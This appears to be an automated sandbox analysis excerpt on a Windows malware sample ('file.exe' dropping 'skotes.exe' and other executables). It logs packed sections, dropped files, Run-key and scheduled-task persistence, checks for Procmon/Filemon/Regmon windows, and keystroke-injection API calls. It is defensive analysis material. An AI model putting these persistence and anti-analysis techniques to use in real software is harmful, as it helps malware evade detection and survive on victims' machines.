Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1938432 > 1048576

Source: file.exe

Static PE information: Raw size of enxqmdvy is bigger than: 0x100000 < 0x1a7600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;enxqmdvy:EW;uaexcxhu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;enxqmdvy:EW;uaexcxhu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;enxqmdvy:EW;uaexcxhu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;enxqmdvy:EW;uaexcxhu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;enxqmdvy:EW;uaexcxhu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;enxqmdvy:EW;uaexcxhu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Unpacked PE file: 7.2.01806ad967.exe.cc0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ajtwcbtw:EW;jmacswze:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ajtwcbtw:EW;jmacswze:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Unpacked PE file: 9.2.847b1b04ba.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;prornizb:EW;bkfftptq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;prornizb:EW;bkfftptq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Unpacked PE file: 14.2.847b1b04ba.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;prornizb:EW;bkfftptq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;prornizb:EW;bkfftptq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Unpacked PE file: 30.2.7acf96002d.exe.b30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eertlowe:EW;jeayyurl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eertlowe:EW;jeayyurl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Unpacked PE file: 32.2.b70a2b69d1.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W;iqgnxywy:EW;gjczkkuc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Unpacked PE file: 39.2.b70a2b69d1.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W;iqgnxywy:EW;gjczkkuc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Unpacked PE file: 40.2.847b1b04ba.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;prornizb:EW;bkfftptq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;prornizb:EW;bkfftptq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Unpacked PE file: 43.2.7acf96002d.exe.b30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eertlowe:EW;jeayyurl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eertlowe:EW;jeayyurl:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_005E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_005E42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 7acf96002d.exe.4.dr	Static PE information: real checksum: 0x1cbd63 should be: 0x1cae4f
Source: b70a2b69d1.exe.4.dr	Static PE information: real checksum: 0x2b9512 should be: 0x2bd51b
Source: random[1].exe.4.dr	Static PE information: real checksum: 0x1cbd63 should be: 0x1cae4f
Source: 847b1b04ba.exe.4.dr	Static PE information: real checksum: 0x1d3981 should be: 0x1c7704
Source: 01806ad967.exe.4.dr	Static PE information: real checksum: 0x4313fe should be: 0x43ec37
Source: random[1].exe1.4.dr	Static PE information: real checksum: 0x4313fe should be: 0x43ec37
Source: random[1].exe2.4.dr	Static PE information: real checksum: 0x1d3981 should be: 0x1c7704
Source: file.exe	Static PE information: real checksum: 0x1d9df7 should be: 0x1dc378
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d9df7 should be: 0x1dc378
Source: random[2].exe.4.dr	Static PE information: real checksum: 0x2b9512 should be: 0x2bd51b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: enxqmdvy
Source: file.exe	Static PE information: section name: uaexcxhu
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: enxqmdvy
Source: skotes.exe.0.dr	Static PE information: section name: uaexcxhu
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.4.dr	Static PE information: section name:
Source: random[2].exe.4.dr	Static PE information: section name: .idata
Source: random[2].exe.4.dr	Static PE information: section name: iqgnxywy
Source: random[2].exe.4.dr	Static PE information: section name: gjczkkuc
Source: random[2].exe.4.dr	Static PE information: section name: .taggant
Source: b70a2b69d1.exe.4.dr	Static PE information: section name:
Source: b70a2b69d1.exe.4.dr	Static PE information: section name: .idata
Source: b70a2b69d1.exe.4.dr	Static PE information: section name: iqgnxywy
Source: b70a2b69d1.exe.4.dr	Static PE information: section name: gjczkkuc
Source: b70a2b69d1.exe.4.dr	Static PE information: section name: .taggant
Source: 847b1b04ba.exe.4.dr	Static PE information: section name:
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: .idata
Source: 847b1b04ba.exe.4.dr	Static PE information: section name:
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: prornizb
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: bkfftptq
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: eertlowe
Source: random[1].exe.4.dr	Static PE information: section name: jeayyurl
Source: random[1].exe.4.dr	Static PE information: section name: .taggant
Source: 7acf96002d.exe.4.dr	Static PE information: section name:
Source: 7acf96002d.exe.4.dr	Static PE information: section name: .idata
Source: 7acf96002d.exe.4.dr	Static PE information: section name:
Source: 7acf96002d.exe.4.dr	Static PE information: section name: eertlowe
Source: 7acf96002d.exe.4.dr	Static PE information: section name: jeayyurl
Source: 7acf96002d.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name: .rsrc
Source: random[1].exe1.4.dr	Static PE information: section name: .idata
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name: ajtwcbtw
Source: random[1].exe1.4.dr	Static PE information: section name: jmacswze
Source: random[1].exe1.4.dr	Static PE information: section name: .taggant
Source: 01806ad967.exe.4.dr	Static PE information: section name:
Source: 01806ad967.exe.4.dr	Static PE information: section name: .rsrc
Source: 01806ad967.exe.4.dr	Static PE information: section name: .idata
Source: 01806ad967.exe.4.dr	Static PE information: section name:
Source: 01806ad967.exe.4.dr	Static PE information: section name: ajtwcbtw
Source: 01806ad967.exe.4.dr	Static PE information: section name: jmacswze
Source: 01806ad967.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name: .idata
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name: prornizb
Source: random[1].exe2.4.dr	Static PE information: section name: bkfftptq
Source: random[1].exe2.4.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Code function: 7_2_01047EE0 push dword ptr [eax+04h]; ret		7_2_01047F0F
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00600A76 push ecx; ret		11_2_00600A89

Source: file.exe	Static PE information: section name: entropy: 7.979746908580336
Source: file.exe	Static PE information: section name: enxqmdvy entropy: 7.954239797642209
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.979746908580336
Source: skotes.exe.0.dr	Static PE information: section name: enxqmdvy entropy: 7.954239797642209
Source: random[2].exe.4.dr	Static PE information: section name: entropy: 7.735497296382337
Source: b70a2b69d1.exe.4.dr	Static PE information: section name: entropy: 7.735497296382337
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: entropy: 7.977505472489843
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: prornizb entropy: 7.953536728834796
Source: random[1].exe.4.dr	Static PE information: section name: eertlowe entropy: 7.9561601576138825
Source: 7acf96002d.exe.4.dr	Static PE information: section name: eertlowe entropy: 7.9561601576138825
Source: random[1].exe1.4.dr	Static PE information: section name: ajtwcbtw entropy: 7.955635022741711
Source: 01806ad967.exe.4.dr	Static PE information: section name: ajtwcbtw entropy: 7.955635022741711
Source: random[1].exe2.4.dr	Static PE information: section name: entropy: 7.977505472489843
Source: random[1].exe2.4.dr	Static PE information: section name: prornizb entropy: 7.953536728834796

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 847b1b04ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 92f830ff9f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7acf96002d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b70a2b69d1.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 847b1b04ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 847b1b04ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7acf96002d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7acf96002d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 92f830ff9f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 92f830ff9f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b70a2b69d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b70a2b69d1.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005FF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		11_2_005FF98E
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00671C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		11_2_00671C41

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
